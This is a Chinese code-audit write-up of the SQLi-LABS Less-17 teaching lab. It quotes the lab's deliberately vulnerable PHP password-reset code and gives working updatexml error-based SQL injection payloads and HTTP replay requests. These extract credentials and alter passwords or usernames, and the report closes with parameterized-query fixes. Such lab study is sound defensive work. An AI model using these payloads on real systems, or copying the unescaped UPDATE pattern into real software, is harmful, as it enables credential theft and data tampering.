Less-17 代码审计报告:POST UPDATE 注入(密码重置)
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-17/index.php实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-17: Update Query - Error based - String(密码重置) |
| 源码路径 | Less-17/index.php |
| 漏洞类型 | SQL 注入 – UPDATE 语句报错注入(注入点在被转义函数遗漏的 passwd) |
| 注入点参数 | POST uname / passwd(密码重置表单) |
| 报错/盲注 | 报错回显(mysql_error()) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-17/index.php
// 第 39-64 行:定义 check_input 过滤函数(对 uname 生效)
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,15); // 截断
}
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'"; // 数字外统一转义+加引号
}
else
{
$value = intval($value);
}
return $value;
}
// 第 67-73 行:uname 经过 check_input 过滤,但 passwd 未过滤!
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']); ← 第 71 行:已过滤(返回 'xxx' 带引号)
$passwd=$_POST['passwd']; ← 第 73 行:直接取值,未过滤 ← 注入点
// 第 84 行:先用 uname 查询用户
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
// 第 89-92 行:找到用户后取出 username
if($row)
{
$row1 = $row['username'];
// 第 94-95 行:UPDATE 语句,passwd 直接拼接 ← 核心漏洞
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
// 第 100-106 行:回显 mysql_error()
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error()); ← 第 103 行
...
关键漏洞点:
- 第 71 行:
$uname=check_input($_POST['uname']);uname 被mysql_real_escape_string转义,难以注入。 - 第 73 行:
$passwd=$_POST['passwd'];未经过任何过滤/转义,直接进入 SQL。 - 第 94 行:
UPDATE users SET password = '$passwd' WHERE username='$row1'—— passwd 被单引号包裹拼接进 UPDATE 语句,构成注入点。 - 第 103 行:
print_r(mysql_error());回显错误,可做报错注入。
3. 漏洞分析
- 输入来源:
$_POST['uname'](被过滤)与$_POST['passwd'](未过滤)。 - 过滤为何可绕过/失效:开发者只对
uname调用check_input()(第 71 行),却遗漏了passwd(第 73 行直接赋值)。这是典型的"只防护了一个参数"的缺陷。 - SQL 拼接位置:
UPDATE users SET password = '$passwd' WHERE username='$row1'(UPDATE 子句)。 - 闭合方式:单引号
'。 - 执行前提:必须先提供已存在的合法用户名(如
admin)让第 84 行 SELECT 命中$row,才会执行到第 94 行 UPDATE。若用户名不存在则直接走 else 分支,UPDATE 不执行。 - 是否回显:第 100-103 行在
mysql_error()非空时回显错误 → 支持报错注入;也可利用 UPDATE 语义直接改数据。
4. 利用方式
步骤一:确认注入点(前提:合法用户名存在)
uname = admin
passwd = 1' → SQL:UPDATE users SET password = '1'' WHERE username='admin'
回显 mysql_error(),确认单引号闭合
步骤二:报错注入提取数据(核心 Payload)
-- 爆当前数据库
uname = admin
passwd = 1' AND updatexml(1,concat(0x7e,(select database())),1)-- -
-- 爆表名
uname = admin
passwd = 1' AND updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)-- -
-- 爆用户名密码
uname = admin
passwd = 1' AND updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users)),1)-- -
预期结果:页面回显 XPATH syntax error: '~security' 等报错信息,带出数据。
步骤三:直接改库(UPDATE 语义利用)
-- 方案 A:把其他用户密码改掉 / 构造闭合
passwd = 1' where username='admin' -- - → UPDATE users SET password='1' where username='admin' -- -' ...
-- 方案 B:利用 UPDATE 改 username 字段(在 password 后追加字段)
passwd = ' , username='admin
预期结果:
- 方案 A 会把指定用户密码更新为
1; - 方案 B 可在一条 UPDATE 里额外修改
username字段,实现字段篡改。
步骤四:进阶
- 由于 UPDATE 是写操作,报错注入语句会因 updatexml 报错而不实际修改数据(语句执行失败),但错误信息已带出数据;
- 若想保留报错的同时不破坏数据,可将 updatexml 条件放在不改变业务结果的位置。
5. Yakit 重放数据包
报错注入报文(核心):
POST /sqli-labs/Less-17/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Connection: close
uname=admin&passwd=1%27%20AND%20updatexml(1,concat(0x7e,(select%20database())),1)--%20-&submit=Submit
直接改密码报文:
POST /sqli-labs/Less-17/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: close
uname=admin&passwd=1%27%20where%20username=%27admin%27%20--%20-&submit=Submit
说明:uname=admin 保证 SELECT 命中;%27='、%20=空格、--%20-=-- -、(select%20database()) 空格已编码。
6. 修复建议
修复一(首选):PDO 预处理语句(UPDATE 同样参数化)
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
// 1. 校验用户名是否存在(参数化 SELECT)
$stmt = $pdo->prepare("SELECT username FROM users WHERE username = :uname LIMIT 0,1");
$stmt->bindValue(':uname', $uname, PDO::PARAM_STR);
$stmt->execute();
$row = $stmt->fetch();
if ($row) {
// 2. 参数化 UPDATE,password 也走占位符
$stmt = $pdo->prepare("UPDATE users SET password = :passwd WHERE username = :uname");
$stmt->bindValue(':passwd', password_hash($passwd, PASSWORD_DEFAULT), PDO::PARAM_STR);
$stmt->bindValue(':uname', $row['username'], PDO::PARAM_STR);
$stmt->execute();
}
修复二:mysqli 预处理语句
<?php
$stmt = $mysqli->prepare("SELECT username FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $uname);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if ($row) {
$stmt = $mysqli->prepare("UPDATE users SET password = ? WHERE username = ?");
$hashed = password_hash($passwd, PASSWORD_DEFAULT);
$stmt->bind_param('ss', $hashed, $row['username']);
$stmt->execute();
}
修复三:输入校验 + 最小权限
- 对所有入参统一过滤(不能只过滤 uname),或统一走参数化。
- 密码应存储
password_hash()哈希值,不存明文。 - 关闭
display_errors,删除第 103 行print_r(mysql_error()),错误写日志。 - 数据库账号最小权限(禁止 DDL/写库权限按业务最小化);升级 PHP 7+ / 8+,移除
mysql_*扩展。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:导入
sql-lab.sql、配置sql-connections/db-creds.inc、使用支持mysql_*的 PHP 5.x 环境。
正文完